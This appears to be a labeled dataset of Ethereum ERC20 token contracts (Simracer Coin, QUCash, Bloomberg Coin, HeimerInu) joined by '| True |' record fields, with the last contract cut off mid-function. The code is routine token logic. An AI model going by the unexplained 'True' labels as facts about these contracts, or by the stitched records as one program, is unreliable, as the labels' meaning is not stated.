function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Detailed.sol
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Burnable.sol
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
// File: @openzeppelin/contracts/access/Roles.sol
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: @openzeppelin/contracts/access/roles/MinterRole.sol
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Mintable.sol
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Capped.sol
/**
* @dev Extension of {ERC20Mintable} that adds a cap to the supply of tokens.
*/
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20Mintable-mint}.
*
* Requirements:
*
* - `value` must not cause the total supply to go over the cap.
*/
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded");
super._mint(account, value);
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/SimracerCoin.sol
contract SimracerCoin is ERC20, ERC20Detailed, ERC20Burnable, ERC20Capped, Ownable {
uint private INITIAL_SUPPLY = 200000000e18;
constructor()
ERC20Burnable()
ERC20Capped(200000000e18)
ERC20Detailed("Simracer Coin", "SRC", 18) public
{
_mint(msg.sender, INITIAL_SUPPLY);
}
} | True | [
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] |
pragma solidity ^0.4.24;
/**
* Math operations with safety checks
*/
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract QUC is SafeMath{
string public constant name = "QUCash";
string public constant symbol = "QUC";
uint8 public constant decimals = 18;
uint256 public totalSupply = 10000000000 * (10 ** uint256(decimals));
address public owner;
uint256 public buyPrice = 100000;
bool public crowdsaleClosed;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() public {
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
owner = msg.sender;
emit Transfer(0x0, msg.sender, totalSupply);
}
/* Send coins */
function transfer(address _to, uint256 _value) public returns (bool) {
if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) revert();
if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value <= 0) revert();
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead
if (_value <= 0) revert();
if (balanceOf[_from] < _value) revert(); // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows
if (_value > allowance[_from][msg.sender]) revert(); // Check allowance
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (_value <= 0) revert();
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) public returns (bool success) {
if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (_value <= 0) revert();
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender
freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) public returns (bool success) {
if (freezeOf[msg.sender] < _value) revert(); // Check if the sender has enough
if (_value <= 0) revert();
freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender
balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value);
emit Unfreeze(msg.sender, _value);
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) public {
if(msg.sender != owner) revert();
owner.transfer(amount);
}
function setPrices(bool closebuy, uint256 newBuyPrice) public {
if(msg.sender != owner) revert();
crowdsaleClosed = closebuy;
buyPrice = newBuyPrice;
}
function () external payable {
require(!crowdsaleClosed);
uint amount = msg.value ; // calculates the amount
_transfer(owner, msg.sender, SafeMath.safeMul( amount, buyPrice));
owner.transfer(amount);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
emit Transfer(_from, _to, _value);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-15
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract BloombergCoin is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor() {
_name = "Bloomberg Coin";
_symbol = "BLBG";
_mint(_msgSender(), 1000000000000000000000000000000000);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
_transfer(sender, recipient, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
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/**
*Submitted for verification at Etherscan.io on 2021-12-05
*/
//HeimerInu Socials
//t.me/heimerinuerc
//www.heimerinuerc.com
pragma solidity ^0.8.3;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
